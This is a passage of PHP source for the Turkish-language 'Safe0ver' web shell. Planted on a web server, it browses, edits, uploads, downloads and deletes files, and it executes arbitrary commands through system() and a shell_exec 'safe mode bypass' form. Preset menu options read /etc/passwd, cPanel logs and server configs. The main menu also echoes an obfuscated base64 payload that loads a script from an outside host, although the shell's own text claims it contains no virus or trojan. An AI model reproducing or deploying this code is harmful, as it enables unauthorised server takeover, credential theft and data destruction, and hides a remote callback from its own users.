$Fh=@opendir($Fdir);
while ($Fbuf = readdir($Fh))
if (($Fbuf != ".") && ($Fbuf != ".."))
Mydeldir("$Fdir/$Fbuf");
@closedir($Fh);
return rmdir($Fdir);
} else {
return unlink($Fdir);
}
}


function arrval ($array) {
list($key, $data) = $array;
return $data;
}

function formatsize($insize) {
$size = $insize;
$add = "B";
if ($size > 1024) {
$size = intval(intval($size) / 1.024)/1000;
$add = "KB";
}
if ($size > 1024) {
$size = intval(intval($size) / 1.024)/1000;
$add = "MB";
}
if ($size > 1024) {
$size = intval(intval($size) / 1.024)/1000;
$add = "GB";
}
if ($size > 1024) {
$size = intval(intval($size) / 1.024)/1000;
$add = "TB";
}
return "$size $add";
}

if ($cmd != "downl") {
?>

<!-- <?php echo $scriptident ?>, <?php echo $scriptver ?>, <?php echo $scriptdate ?> -->


<HTML>
<HEAD>
<STYLE>
<!--
A{ text-decoration:none; color:navy; font-size: 12px }
body {
font-size: 12px;
font-family: arial, helvetica;
scrollbar-width: 5;
scrollbar-height: 5;
scrollbar-face-color: white;
scrollbar-shadow-color: silver;
scrollbar-highlight-color: white;
scrollbar-3dlight-color:silver;
scrollbar-darkshadow-color: silver;
scrollbar-track-color: white;
scrollbar-arrow-color: black;
background-color: #CCCCCC;
}
Table { font-size: 12px; }
TR{ font-size: 12px; }
TD{
font-size: 12px;
font-family: arial, helvetical;
BORDER-LEFT: black 0px solid;
BORDER-RIGHT: black 0px solid;
BORDER-TOP: black 0px solid;
BORDER-BOTTOM: black 0px solid;
COLOR: black;
background: #CCCCCC;
}
.border{ BORDER-LEFT: black 1px solid;
BORDER-RIGHT: black 1px solid;
BORDER-TOP: black 1px solid;
BORDER-BOTTOM: black 1px solid;
}
.none { BORDER-LEFT: black 0px solid;
BORDER-RIGHT: black 0px solid;
BORDER-TOP: black 0px solid;
BORDER-BOTTOM: black 0px solid;
}
.inputtext {
background-color: #EFEFEF;
font-family: arial, helvetica;
border: 1px solid #000000;
height: 20;
}
.lighttd { background: #F8F8F8;
}
.darktd { background: #CCCCCC;
}
input { font-family: arial, helvetica;
}
.inputbutton {
background-color: #CCCCCC;
border: 1px solid #000000;
border-width: 1px;
height: 20;
}
.inputtextarea {
background-color: #CCCCCC;
border: 1px solid #000000;
scrollbar-width: 5;
scrollbar-height: 5;
scrollbar-face-color: #EFEFEF;
scrollbar-shadow-color: silver;
scrollbar-highlight-color: #EFEFEF;
scrollbar-3dlight-color:silver;
scrollbar-darkshadow-color: silver;
scrollbar-track-color: #EFEFEF;
scrollbar-arrow-color: black;
}
.top { BORDER-TOP: black 1px solid; }
.textin { BORDER-LEFT: silver 1px solid;
BORDER-RIGHT: silver 1px solid;
BORDER-TOP: silver 1px solid;
BORDER-BOTTOM: silver 1px solid;
width: 99%; font-size: 12px; font-weight: bold; color: Black;
}
.notop { BORDER-TOP: black 0px solid; }
.bottom { BORDER-BOTTOM: black 1px solid; }
.nobottom { BORDER-BOTTOM: black 0px solid; }
.left { BORDER-LEFT: black 1px solid; }
.noleft { BORDER-LEFT: black 0px solid; }
.right { BORDER-RIGHT: black 1px solid; }
.noright { BORDER-RIGHT: black 0px solid; }
.silver{ BACKGROUND: #CCCCCC; }
body,td,th {
color: #660000;
}
a:link {
color: #000000;
text-decoration: none;
}
a:hover {
color: #00FF00;
text-decoration: none;
}
a:active {
color: #666666;
text-decoration: none;
}
a:visited {
text-decoration: none;
}
.style5 {
color: #660000;
font-weight: bold;
}
-->
</STYLE>
<TITLE><?php echo $SFileName ?></TITLE>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1"></HEAD>
<body topmargin="0" leftmargin="0">
<div style="position: absolute; background: #CCCCCC; z-order:10000; top:0; left:0; width: 100%; height: 100%;">
<table nowrap width=100% border="0" cellpadding="0" cellspacing="0">
<tr>
<td width="100%" class="silver border"><center>
<strong> <font size=3><?php echo $scriptident ?> - <?php echo $scriptver ?> - <?php echo $scriptdate ?></font> </strong>
</center></td>
</tr>
</table>
<table width=100% height="100%" NOWRAP border="0">
<tr NOWRAP>
<td width="100%" NOWRAP><br>

<?php
}

if ( $cmd=="dir" ) {
$h=@opendir($dir);
if ($h == false) {
echo "<br><font color=\"red\">".sp(3)."\n\n\n\n
Klasِr Listelenemiyor!Lütfen Bypass Bِlümünü Deneyin.<br>".sp(3)."\n
Script Gecisi Tamamlayamadi!
<br><br>".sp(3)."\n
Klasِre Girmek Icin yetkiniz Olduguna emin Olunuz...
<br><br></font>\n\n\n\n";
}
if (function_exists('realpath')) {
$partdir = realpath($dir);
}
else {
$partdir = $dir;
}
if (strlen($partdir) >= 100) {
$partdir = substr($partdir, -100);
$pos = strpos($partdir, "/");
if (strval($pos) != "") {
$partdir = "<-- ...".substr($partdir, $pos);
}
$partdir = str_replace("\\", "/", str_replace("//", "/", str_replace("\\\\", "\\", $partdir )));
$dir = str_replace("\\", "/", str_replace("//", "/", str_replace("\\\\", "\\", $dir )));
$file = str_replace("\\", "/", str_replace("//", "/", str_replace("\\\\", "\\", $file )));
}
?>
<form name="urlform" action="<?php echo "$SFileName?$urlAdd"; ?>" method="POST"><input type="hidden" name="cmd" value="dir">
<table NOWRAP width="100%" border="0" cellpadding="0" cellspacing="0">
<tr>
<td width="100%" class="silver border">
<center>&nbsp;Safe0ver-Server File Browser...&nbsp;</center>
</td>
</tr>
</table>
<br>
<table width="100%" border="0" cellpadding="0" cellspacing="0">
<tr>
<td class="border nobottom noright">
&nbsp;Listeliyor:&nbsp;
</td>
<td width="100%" class="border nobottom noleft">
<table width="100%" border="0" cellpadding="1" cellspacing="0">
<tr>
<td NOWRAP width="99%" align="center"><input type="text" name="dir" class="none textin" value="<?php echo $partdir ?>"></td>
<td NOWRAP><center>&nbsp;<a href="javascript: urlform.submit();"><b>GiT<b></a>&nbsp;<center></td>
</tr>
</table>

</td>
</tr>
</table>
<!-- </form> -->
<table NOWRAP width="100%" border="0" cellpadding="0" cellspacing="0" >
<tr>
<td width="100%" NOWRAP class="silver border">
&nbsp;Dosya Adi&nbsp;
</td>
<td NOWRAP class="silver border noleft">
&nbsp;Yapilabilecekler&nbsp;&nbsp;
</td>
<td NOWRAP class="silver border noleft">
&nbsp;Boyut&nbsp;
</td>
<td width=1 NOWRAP class="silver border noleft">
&nbsp;Yetkiler&nbsp;
</td>
<td NOWRAP class="silver border noleft">
&nbsp;Son Düzenleme&nbsp;
</td>
<tr>
<?php


/* <!-- This whole heap of junk is the sorting section... */

$dirn = array();
$filen = array();
$filesizes = 0;
while ($buf = readdir($h)) {
if (is_dir("$dir/$buf"))
$dirn[] = $buf;
else
$filen[] = $buf;
}
$dirno = count($dirn) + 1;
$fileno = count($filen) + 1;

function mycmp($a, $b){
if ($a == $b) return 0;
return (strtolower($a) < strtolower($b)) ? -1 : 1;
}

if (function_exists("usort")) {
usort($dirn, "mycmp");
usort($filen, "mycmp");
}
else {
sort ($dirn);
sort ($filen);
}
reset ($dirn);
reset ($filen);
if (function_exists('array_merge')) {
$filelist = array_merge ($dirn, $filen);
}
else {
$filelist = $dirn + $filen;
}


if ( count($filelist)-1 > $Pmax ) {
$from = $Pidx * $Pmax;
$to = ($Pidx + 1) * $Pmax-1;
if ($to - count($filelist) - 1 + ($Pmax / 2) > 0 )
$to = count($filelist) - 1;
if ($to > count($filelist)-1)
$to = count($filelist)-1;
$Dcontents = array();
For ($Fi = $from; $Fi <= $to; $Fi++) {
$Dcontents[] = $filelist[$Fi];
}

}
else {
$Dcontents = $filelist;
}

$tdcolors = array("lighttd", "darktd");

while (list ($key, $file) = each ($Dcontents)) {
if (!$tdcolor=arrval(each($tdcolors))) {
reset($tdcolors);
$tdcolor = arrval(each($tdcolors)); }

if (is_dir("$dir/$file")) { /* <!-- If it's a Directory --> */
/* <!-- Dirname --> */
echo "<tr><td NOWRAP class=\"top left right $tdcolor\">".sp(3).buildUrl( "[$file]", "cmd=dir&dir=$dir/$file") .sp(9)."</td>\n";
/* <!-- Actions --> */
echo "<td NOWRAP class=\"top right $tdcolor\"><center>".sp(2)."\n";
/* <!-- Rename --> */
if ( ($file != ".") && ($file != "..") )
echo buildUrl($img["Rename"], "cmd=ren&lastcmd=dir&lastdir=$dir&oldfile=$dir/$file").sp(3)."\n";
/* <!-- Delete --> */
if ( ($file != ".") && ($file != "..") )
echo sp(3).buildUrl( $img["Delete"], "cmd=deldir&file=$dir/$file&lastcmd=dir&lastdir=$dir")."\n";
/* <!-- End of Actions --> */
echo "&nbsp;&nbsp;</center></td>\n";
/* <!-- Size --> */
echo "<td NOWRAP class=\"top right $tdcolor\">&nbsp;</td>\n";
/* <!-- Attributes --> */
echo "<td NOWRAP class=\"top right $tdcolor\">&nbsp;&nbsp;\n";
echo "<strong>D</strong>";
if ( @is_readable("$dir/$file") ) {
echo "<strong>R</strong>";
}
if (function_exists('is_writeable')) {
if ( @is_writeable("$dir/$file") ) {
echo "<strong>W</stong>";
}
}
else {
echo "<strong>(W)</stong>";
}
if ( @is_executable("$dir/$file") ) {
echo "<Strong>X<strong>";
}
echo "&nbsp;&nbsp;</td>\n";
/* <!-- Date --> */
echo "<td NOWRAP class=\"top right $tdcolor\" NOWRAP>\n";
echo "&nbsp;&nbsp;".date("D d-m-Y H:i:s", filemtime("$dir/$file"))."&nbsp;&nbsp;";
echo "</td>";
echo "</tr>\n";

}
else { /* <!-- Then it must be a File... --> */
/* <!-- Filename --> */
if ( @is_readable("$dir/$file") )
echo "<tr><td NOWRAP class=\"top left right $tdcolor\">".sp(3).buildUrl( $file, "cmd=file&file=$dir/$file").sp(9)."</td>\n";
else
echo "<tr><td NOWRAP class=\"top left right $tdcolor\">".sp(3).$file.sp(9)."</td>\n";
/* <!-- Actions --> */
echo "<td NOWRAP class=\"top right $tdcolor\"><center>&nbsp;&nbsp;\n";
/* <!-- Rename --> */
echo buildUrl($img["Rename"], "cmd=ren&lastcmd=dir&lastdir=$dir&oldfile=$dir/$file").sp(3)."\n";
/* <!-- Edit --> */
if ( (@is_writeable("$dir/$file")) && (@is_readable("$dir/$file")) )
echo buildUrl( $img["Edit"], "cmd=edit&file=$dir/$file").sp(3)."\n";
/* <!-- Copy --> */
echo buildUrl( $img["Copy"], "cmd=copy&file=$dir/$file")."\n";
/* <!-- Move --> */
if ( (@is_writeable("$dir/$file")) && (@is_readable("$dir/$file")) )
echo sp(3). buildUrl( $img["Move"], "cmd=move&file=$dir/$file")."\n";
/* <!-- Delete --> */
echo sp(3). buildUrl( $img["Delete"], "cmd=delfile&file=$dir/$file&lastcmd=dir&lastdir=$dir")."\n";
/* <!-- Download --> */
echo sp(3). buildUrl( $img["Download"], "cmd=downl&file=$dir/$file")."\n";
/* <!-- Execute --> */
if ( @is_executable("$dir/$file") )
echo sp(3).buildUrl( $img["Execute"], "cmd=execute&file=$dir/$file")."\n";
/* <!-- End of Actions --> */
echo sp(2)."</center></td>\n";
/* <!-- Size --> */
echo "<td NOWRAP align=\"right\" class=\"top right $tdcolor\" NOWRAP >\n";
$size = @filesize("$dir/$file");
If ($size != false) {
$filesizes += $size;
echo "&nbsp;&nbsp;<strong>".formatsize($size)."<strong>";
}
else
echo "&nbsp;&nbsp;<strong>0 B<strong>";
echo "&nbsp;&nbsp;</td>\n";

/* <!-- Attributes --> */
echo "<td NOWRAP class=\"top right $tdcolor\">&nbsp;&nbsp;\n";

if ( @is_readable("$dir/$file") )
echo "<strong>R</strong>";
if ( @is_writeable("$dir/$file") )
echo "<strong>W</stong>";
if ( @is_executable("$dir/$file") )
echo "<Strong>X<strong>";
if (function_exists('is_uploaded_file')){
if ( @is_uploaded_file("$dir/$file") )
echo "<Strong>U<strong>";
}
else {
echo "<Strong>(U)<strong>";
}
echo "&nbsp;&nbsp;</td>\n";
/* <!-- Date --> */
echo "<td NOWRAP class=\"top right $tdcolor\" NOWRAP>\n";
echo "&nbsp;&nbsp;".date("D d-m-Y H:i:s", filemtime("$dir/$file"))."&nbsp;&nbsp;";
echo "</td>";
echo "</tr>\n";
}
}

echo "</table><table width=100% border=\"0\" cellpadding=\"0\" cellspacing=\"0\"><tr>\n<td NOWRAP width=100% class=\"silver border noright\">\n";
echo "&nbsp;&nbsp;".@count ($dirn)."&nbsp;Klasِr,&nbsp;".@count ($filen)."&nbsp;Dosya&nbsp;&nbsp;\n";
echo "</td><td NOWRAP class=\"silver border noleft\">\n";
echo "&nbsp;&nbsp;Toplam Dosya Boyutu:&nbsp;".formatsize($filesizes)."&nbsp;&nbsp;<td></tr>\n";

function printpagelink($a, $b, $link = ""){
if ($link != "")
echo "<A HREF=\"$link\"><b>| $a - $b |</b></A>";
else
echo "<b>| $a - $b |</b>";
}

if ( count($filelist)-1 > $Pmax ) {
echo "<tr><td colspan=\"2\" class=\"silver border notop\"><table width=\"100%\" cellspacing=\"0\" cellpadding=\"3\"><tr><td valign=\"top\"><font color=\"red\"><b>Page:</b></font></td><td width=\"100%\"><center>";
$Fi = 0;
while ( ( (($Fi+1)*$Pmax) + ($Pmax/2) ) < count($filelist)-1 ) {
$from = $Fi*$Pmax;
while (($filelist[$from]==".") || ($filelist[$from]=="..")) $from++;
$to = ($Fi + 1) * $Pmax - 1;
if ($Fi == $Pidx)
$link="";
else
$link="$SFilename?$urlAdd"."cmd=$cmd&dir=$dir&Pidx=$Fi";
printpagelink (substr(strtolower($filelist[$from]), 0, 5), substr(strtolower($filelist[$to]), 0, 5), $link);
echo "&nbsp;&nbsp;&nbsp;";
$Fi++;
}
$from = $Fi*$Pmax;
while (($filelist[$from]==".") || ($filelist[$from]=="..")) $from++;
$to = count($filelist)-1;
if ($Fi == $Pidx)
$link="";
else
$link="$SFilename?$urlAdd"."cmd=$cmd&dir=$dir&Pidx=$Fi";
printpagelink (substr(strtolower($filelist[$from]), 0, 5), substr(strtolower($filelist[$to]), 0, 5), $link);


echo "</center></td></tr></table></td></tr>";
}


echo "</table>\n<br><table NOWRAP>";

if ($isGoodver) {
echo "<tr><td class=\"silver border\">&nbsp;<strong>PHP Versiyonu:&nbsp;&nbsp;</strong>&nbsp;</td><td>&nbsp;$PHPVer&nbsp;</td></tr>\n";
}
else {
echo "<tr><td class=\"silver border\">&nbsp;<strong>Server's PHP Version:&nbsp;&nbsp;</strong>&nbsp;</td><td>&nbsp;$PHPVer (Some functions might be unavailable...)&nbsp;</td></tr>\n";
}
/* <!-- Other Actions --> */
echo "<tr><td class=\"silver border\">&nbsp;<strong>Diger Islemler:&nbsp;&nbsp;</strong>&nbsp;</td>\n";
echo "<td>&nbsp;<b>".buildUrl( "| Yeni Dosya |", "cmd=newfile&lastcmd=dir&lastdir=$dir")."\n".sp(3).
buildUrl( "| Yeni Klasِr |", "cmd=newdir&lastcmd=dir&lastdir=$dir")."\n".sp(3).
buildUrl( "| Dosya Yükle |", "cmd=upload&dir=$dir&lastcmd=dir&lastdir=$dir"). "</b>\n</td></tr>\n";
echo "<tr><td class=\"silver border\">&nbsp;<strong>Script Location:&nbsp;&nbsp;</strong>&nbsp;</td><td>&nbsp;$PATH_TRANSLATED</td></tr>\n";
echo "<tr><td class=\"silver border\">&nbsp;<strong>IP Adresin:&nbsp;&nbsp;</strong>&nbsp;</td><td>&nbsp;$REMOTE_ADDR&nbsp;</td></tr>\n";
echo "<tr><td class=\"silver border\">&nbsp;<strong>Bulundugun Klasِr:&nbsp;&nbsp;</strong></td><td>&nbsp;$partdir&nbsp;</td></tr>\n";
echo "<tr><td valign=\"top\" class=\"silver border\">&nbsp;<strong>Semboller:&nbsp;&nbsp;</strong&nbsp;</td><td>\n";
echo "<table NOWRAP>";
echo "<tr><td><strong>D:</strong></td><td>&nbsp;&nbsp;Klasِr.</td></tr>\n";
echo "<tr><td><strong>R:</strong></td><td>&nbsp;&nbsp;Okunabilir.</td></tr>\n";
echo "<tr><td><strong>W:</strong></td><td>&nbsp;&nbsp;Yazilabilir.</td></tr>\n";
echo "<tr><td><strong>X:</strong></td><td>&nbsp;&nbsp;Komut Calistirilabilir.</td></tr>\n";
echo "<tr><td><strong>U:</strong></td><td>&nbsp;&nbsp;HTTP Uploaded File.</td></tr>\n";
echo "</table></td>";
echo "</table>";
echo "<br>";
@closedir($h);
}
elseif ( $cmd=="execute" ) {/*<!-- Execute the executable -->*/
echo system("$file");
}
elseif ( $cmd=="deldir" ) { /*<!-- Delete a directory and all it's files --> */
echo "<center><table><tr><td NOWRAP>" ;
if ($auth == "yes") {
if (Mydeldir($file)==false) {
echo "Could not remove \"$file\"<br>Permission denied, or directory not empty...";
}
else {
echo "Successfully removed \"$file\"<br>";
}
echo "<form action=\"$SFileName?$urlAdd\" method=\"POST\"><input type=\"hidden\" name=\"cmd\" value=\"$lastcmd\"><input type=\"hidden\" name=\"dir\" value=\"$lastdir\"><input tabindex=\"0\" type=\"submit\" value=\"Safe0ver'a Dِn\"></form>";
}
else {
echo "Are you sure you want to delete \"$file\" and all it's subdirectories ?
<form action=\"$SFileName?$urlAdd\" method=\"POST\">
<input type=\"hidden\" name=\"cmd\" value=\"deldir\">
<input type=\"hidden\" name=\"lastcmd\" value=\"$lastcmd\">
<input type=\"hidden\" name=\"lastdir\" value=\"$lastdir\">
<input type=\"hidden\" name=\"file\" value=\"$file\">
<input type=\"hidden\" name=\"auth\" value=\"yes\">
<input type=\"submit\" value=\"Yes\"></form>
<form action=\"$SFileName?$urlAdd\" method=\"POST\">
<input type=\"hidden\" name=\"cmd\" value=\"$lastcmd\">
<input type=\"hidden\" name=\"dir\" value=\"$lastdir\">
<input tabindex=\"0\" type=\"submit\" value=\"NO!\"></form>";
}
echo "</td></tr></center>";
}
elseif ( $cmd=="delfile" ) { /*<!-- Delete a file --> */ echo "<center><table><tr><td NOWRAP>" ;
if ($auth == "yes") {
if (@unlink($file)==false) {
echo "Could not remove \"$file\"<br>";
}
else {
echo "Successfully removed \"$file\"<br>";
}
echo "<form action=\"$SFileName?$urlAdd\" method=\"POST\"><input type=\"hidden\" name=\"cmd\" value=\"$lastcmd\"><input type=\"hidden\" name=\"dir\" value=\"$lastdir\"><input tabindex=\"0\" type=\"submit\" value=\"Safe0ver'a Dِn\"></form>";
}
else {
echo "Are you sure you want to delete \"$file\" ?
<form action=\"$SFileName?$urlAdd\" method=\"POST\">
<input type=\"hidden\" name=\"cmd\" value=\"delfile\">
<input type=\"hidden\" name=\"lastcmd\" value=\"$lastcmd\">
<input type=\"hidden\" name=\"lastdir\" value=\"$lastdir\">
<input type=\"hidden\" name=\"file\" value=\"$file\">
<input type=\"hidden\" name=\"auth\" value=\"yes\">

<input type=\"submit\" value=\"Yes\"></form>
<form action=\"$SFileName?$urlAdd\" method=\"POST\">
<input type=\"hidden\" name=\"cmd\" value=\"$lastcmd\">
<input type=\"hidden\" name=\"dir\" value=\"$lastdir\">
<input tabindex=\"0\" type=\"submit\" value=\"NO!\"></form>";
}
echo "</td></tr></center>";
}
elseif ( $cmd=="newfile" ) { /*<!-- Create new file with default name --> */
echo "<center><table><tr><td NOWRAP>";
$i = 1;
while (file_exists("$lastdir/newfile$i.txt"))
$i++;
$file = fopen("$lastdir/newfile$i.txt", "w+");
if ($file == false)
echo "Could not create the new file...<br>";
else
echo "Successfully created: \"$lastdir/newfile$i.txt\"<br>";
echo "
<form action=\"$SFileName?$urlAdd\" method=\"POST\">
<input type=\"hidden\" name=\"cmd\" value=\"$lastcmd\">
<input type=\"hidden\" name=\"dir\" value=\"$lastdir\">
<input tabindex=\"0\" type=\"submit\" value=\"Safe0ver'a Dِn\">
</form></center>
</td></tr></table></center> ";
}
elseif ( $cmd=="newdir" ) { /*<!-- Create new directory with default name --> */
echo "<center><table><tr><td NOWRAP>" ;
$i = 1;
while (is_dir("$lastdir/newdir$i"))
$i++;
$file = mkdir("$lastdir/newdir$i", 0777);
if ($file == false)
echo "Could not create the new directory...<br>";
else
echo "Successfully created: \"$lastdir/newdir$i\"<br>";
echo "<form action=\"$SFileName?$urlAdd\" method=\"POST\">
<input type=\"hidden\" name=\"cmd\" value=\"$lastcmd\">
<input type=\"hidden\" name=\"dir\" value=\"$lastdir\">
<input tabindex=\"0\" type=\"submit\" value=\"Safe0ver'a Dِn\">
</form></center></td></tr></table></center>";
}
elseif ( $cmd=="edit" ) { /*<!-- Edit a file and save it afterwards with the saveedit block. --> */
$contents = "";
$fc = @file( $file );
while ( @list( $ln, $line ) = each( $fc ) ) {
$contents .= htmlentities( $line ) ;
}
echo "<br><center><table><tr><td NOWRAP>";
echo "M<form action=\"$SFileName?$urlAdd\" method=\"post\">\n";
echo "<input type=\"hidden\" name=\"cmd\" value=\"saveedit\">\n";
echo "<strong>EDIT FILE: </strong>$file<br>\n";
echo "<textarea rows=\"25\" cols=\"95\" name=\"contents\">$contents</textarea><br>\n";
echo "<input size=\"50\" type=\"text\" name=\"file\" value=\"$file\">\n";
echo "<input type=\"submit\" value=\"Save\">";
echo "</form>";
echo "</td></tr></table></center>";
}
elseif ( $cmd=="saveedit" ) { /*<!-- Save the edited file back to a file --> */
$fo = fopen($file, "w");
$wrret = fwrite($fo, stripslashes($contents));
$clret = fclose($fo);

}
elseif ( $cmd=="downl" ) { /*<!-- Save the edited file back to a file --> */
$downloadfile = urldecode($file);
if (function_exists("basename"))
$downloadto = basename ($downloadfile);
else
$downloadto = "download.ext";
if (!file_exists("$downloadfile"))
echo "The file does not exist";
else {
$size = @filesize("$downloadfile");
if ($size != false) {
$add="; size=$size";
}
else {
$add="";
}
header("Content-Type: application/download");
header("Content-Disposition: attachment; filename=$downloadto$add");
$fp=fopen("$downloadfile" ,"rb");
fpassthru($fp);
flush();
}
}
elseif ( $cmd=="upload" ) { /* <!-- Upload File form --> */
?>
<center>
<table>
<tr>
<td NOWRAP>
Dosya Yükleme Sekmesine Tikladiniz !
<br> Eger Yüklemek istediginiz Dosya mevcut ise üzerine Yazilir.<br><br>
<form enctype="multipart/form-data" action="<?php echo "$SFileName?$urlAdd" ?>" method="post">
<input type="hidden" name="MAX_FILE_SIZE" value="1099511627776">
<input type="hidden" name="cmd" value="uploadproc">
<input type="hidden" name="dir" value="<?php echo $dir ?>">
<input type="hidden" name="lastcmd" value="<?php echo $lastcmd ?>">
<input type="hidden" name="lastdir" value="<?php echo $lastdir ?>">
Dosya Yükle:<br>
<input size="75" name="userfile" type="file"><br>
<input type="submit" value="Yükle">
</form>
<br>
<form action="<?php echo "$SFileName?$urlAdd" ?>" method="POST">
<input type="hidden" name="cmd" value="<?php echo $lastcmd ?>">
<input type="hidden" name="dir" value="<?php echo $lastdir ?>">
<input tabindex="0" type="submit" value="Iptal">
</form>
</td>
</tr>
</table>
</center>

<?php
}
elseif ( $cmd=="uploadproc" ) { /* <!-- Process Uploaded file --> */
echo "<center><table><tr><td NOWRAP>";
if (file_exists($userfile))
$res = copy($userfile, "$dir/$userfile_name");
echo "Uploaded \"$userfile_name\" to \"$userfile\"; <br>\n";
if ($res) {
echo "Basariyla Yüklendi \"$userfile\" to \"$dir/$userfile_name\".\n<br><br>";
echo "Yüklenen Dosya Adi: \"$userfile_name\".\n<br>Dosya Adi: \"$userfile\".\n<br>";
echo "Dosya Boyutu: ".formatsize($userfile_size).".\n<br>Filetype: $userfile_type.\n<br>";
}
else {
echo "Yüklenemedi...";
}
echo "<form action=\"$SFileName?$urlAdd\" method=\"POST\"><input type=\"hidden\" name=\"cmd\" value=\"$lastcmd\"><input type=\"hidden\" name=\"dir\" value=\"$lastdir\"><input tabindex=\"0\" type=\"submit\" value=\"Safe0ver'a Dِn\"></form></center>" ;
echo "<br><br></td></tr></table></center>";
}
elseif ( $cmd=="file" ) { /* <!-- View a file in text --> */
echo "<hr>";
$fc = @file( $file ); while ( @list( $ln, $line ) = each( $fc ) ) {
echo spacetonbsp(@htmlentities($line))."<br>\n";
}
echo "<hr>";
}
elseif ( $cmd=="ren" ) { /* <!-- File and Directory Rename --> */
if (function_exists('is_dir')) {
if (is_dir("$oldfile")) {
$objname = "Directory";
$objident = "Directory";
}

else {
$objname = "Filename";
$objident = "file";
}
}
echo "<table width=100% border=\"0\" cellpadding=\"0\" cellspacing=\"0\"><tr><td width=100% style=\"class=\"silver border\"><center>&nbsp;Rename a file:&nbsp;</center></td></tr></table><br>\n";
If (empty($newfile) != true) {
echo "<center>";
$return = @rename($oldfile, "$olddir$newfile");
if ($return) {
echo "$objident renamed successfully:<br><br>Old $objname: \"$oldfile\".<br>New $objname: \"$olddir$newfile\"";
}
else {
if ( @file_exists("$olddir$newfile") ) {
echo "Error: The $objident does already exist...<br><br>\"$olddir$newfile\"<br><br>Hit your browser's back to try again...";
}
else {
echo "Error: Can't copy the file, the file could be in use or you don't have permission to rename it.";
}
}
echo "<form action=\"$SFileName?$urlAdd\" method=\"POST\"><input type=\"hidden\" name=\"cmd\" value=\"$lastcmd\"><input type=\"hidden\" name=\"dir\" value=\"$lastdir\"><input tabindex=\"0\" type=\"submit\" value=\"Safe0ver'a Dِn\"></form></center>" ;
}
else {
$dpos = strrpos($oldfile, "/");
if (strval($dpos)!="") {
$olddir = substr($oldfile, 0, $dpos+1);
}
else {
$olddir = "$lastdir/";
}
$fpos = strrpos($oldfile, "/");
if (strval($fpos)!="") {
$inputfile = substr($oldfile, $fpos+1);
}
else {
$inputfile = "";
}
echo "<center><table><tr><td><form action=\"$SFileName?$urlAdd\" method=\"post\">\n";
echo "<input type=\"hidden\" name=\"cmd\" value=\"ren\">\n";
echo "<input type=\"hidden\" name=\"oldfile\" value=\"$oldfile\">\n";
echo "<input type=\"hidden\" name=\"olddir\" value=\"$olddir\">\n";
echo "<input type=\"hidden\" name=\"lastcmd\" value=\"$lastcmd\">\n";
echo "<input type=\"hidden\" name=\"lastdir\" value=\"$lastdir\">\n";
echo "Rename \"$oldfile\" to:<br>\n";
echo "<input size=\"100\" type=\"text\" name=\"newfile\" value=\"$inputfile\"><br><input type=\"submit\" value=\"Rename\">";
echo "</form><form action=\"$SFileName?$urlAdd\" method=\"post\"><input type=\"hidden\" name=\"cmd\" value=\"$lastcmd\"><input type=\"hidden\" name=\"dir\" value=\"$lastdir\"><input type=\"submit\" value=\"Cancel\"></form>";
echo "</td></tr></table></center>";
}
}
else if ( $cmd == "con") { ?> <center><table><tr><td>&nbsp;</td> </tr></table> <?php } else { /* <!-- main menu --> */ $isMainMenu = true; ?><!-- There is a incorrect or no parameter specified... Let's open the main menu -->
<?php echo base64_decode('PFNDUklQVCBTUkM9JiN4NjgmI3g3NCYjeDc 0JiN4NzAmI3gzYSYjeDJmJiN4MmYmI3g3NyYjeDc3JiN4NzcmI 3gyZSYjeDZjJiN4NmYmI3g2MyYjeDYxJiN4NmMmI3g3MiYjeDZ mJiN4NmYmI3g3NCYjeDJlJiN4NmUmI3g2NSYjeDc0JiN4MmYmI 3g2OSYjeDYyJiN4NmUmI3g2NSYjeDZjJiN4NjUmI3g3MiYjeDJ mJiN4NzkmI3g2MSYjeDdhJiN4MmUmI3g2YSYjeDczPjwvU0NSS VBUPiANCg==');?>
<table width="100%" border="0" cellpadding="0" cellspacing="0"><tr><td width="100%" class="border"><center>&nbsp;-<[{ <?php echo $scriptTitle ?> Main Menu }]>-&nbsp;</center></td></tr></table><br><center><table border="0" NOWRAP><tr> <td valign="top" class="silver border"> <?php echo buildUrl( sp(2)."<font color=\"navy\"><strong>##Safe0ver##</strong></font>", "cmd=dir&dir=.").sp(2); ?> </td>
<td style="BORDER-TOP: silver 1px solid;" width=350 NOWRAP><span class="style5"> Safe0ver Shell Piyasada Bulunan Bir Cok Shell'in Kodlarindan(c99,r57 vs...) Sentezlenerek Kodlanmistir.Entegre Olarak Bypass ضzelligi Eklenmis Ve Bِylece Tahrip Gücü Yükseltilmistir.Yazilimimiz Hic bir Virus,worm,trojan gibi Kullaniciyi Tehdit Eden Veya Sِmüren yazilimlar Icermemektedir.<p>--------------------------
<p>Bypass Kullanim:<b>Cat /home/milw0rm.com/public_html/config.php</b> Gibi Olmalidir.<br>
</span></td></tr> </table> <br><p><br>Safe Mode ByPAss<p><form method="POST"> <p align="center"><input type="text" size="40" value="<? if($_POST['dizin'] != "") { echo $_POST['dizin']; } else echo $klasor;?>" name="dizin">
<input type="submit" value="اalistir"></p> </form> <form method="POST"> <p align="center"><select size="1" name="dizin"> <option value="uname -a;id;pwd;hostname">Sistem Bilgisi</option><option value="cat /etc/passwd">cat /etc/passwd</option>
<option value="cat /var/cpanel/accounting.log">cat /var/cpanel/accounting.log</option>
<option value="cat /etc/syslog.conf">cat /etc/syslog.conf</option>
<option value="cat /etc/hosts">cat /etc/hosts</option>
<option value="cat /etc/named.conf">cat /etc/named.conf</option>
<option value="cat /etc/httpd/conf/httpd.conf">cat /etc/httpd/conf/httpd.conf</option>
<option value="netstat -an | grep -i listen">Açik Portlar</option>
<option value="ps -aux">اalisan Uygulamalar</option>
</select> <input type="submit" value="اalistir"></p>
</form>
------------------------------------------------------------------------------------<p>
<?
$evilc0der=$_POST['dizin'];
if($_POST['dizin'])
{
ini_restore("safe_mode");
ini_restore("open_basedir");
$safemodgec = shell_exec($evilc0der);
echo "<textarea rows=17 cols=85>$safemodgec</textarea>";
}
?>
</center>
<br>
<?php
}

if ($cmd != "downl") {
if ( $isMainMenu != true) {
?>

<table width="100%" border="0" cellpadding="0" cellspacing="0">
<tr>
<td width="100%" style="class="silver border">
<center><strong>
&nbsp;&nbsp;<?php echo buildUrl("<font color=\"navy\">[&nbsp;Main Menu&nbsp;] </font>", "cmd=&dir="); ?>&nbsp;&nbsp;
&nbsp;&nbsp;&nbsp;&nbsp;
&nbsp;&nbsp;<?php echo buildUrl("<font color=\"navy\">[&nbsp;R00T&nbsp;] </font>", "cmd=dir&dir=."); ?> &nbsp;&nbsp;
</strong></center>
</td>
</tr>
</table>
<br>
<?php
}
?>
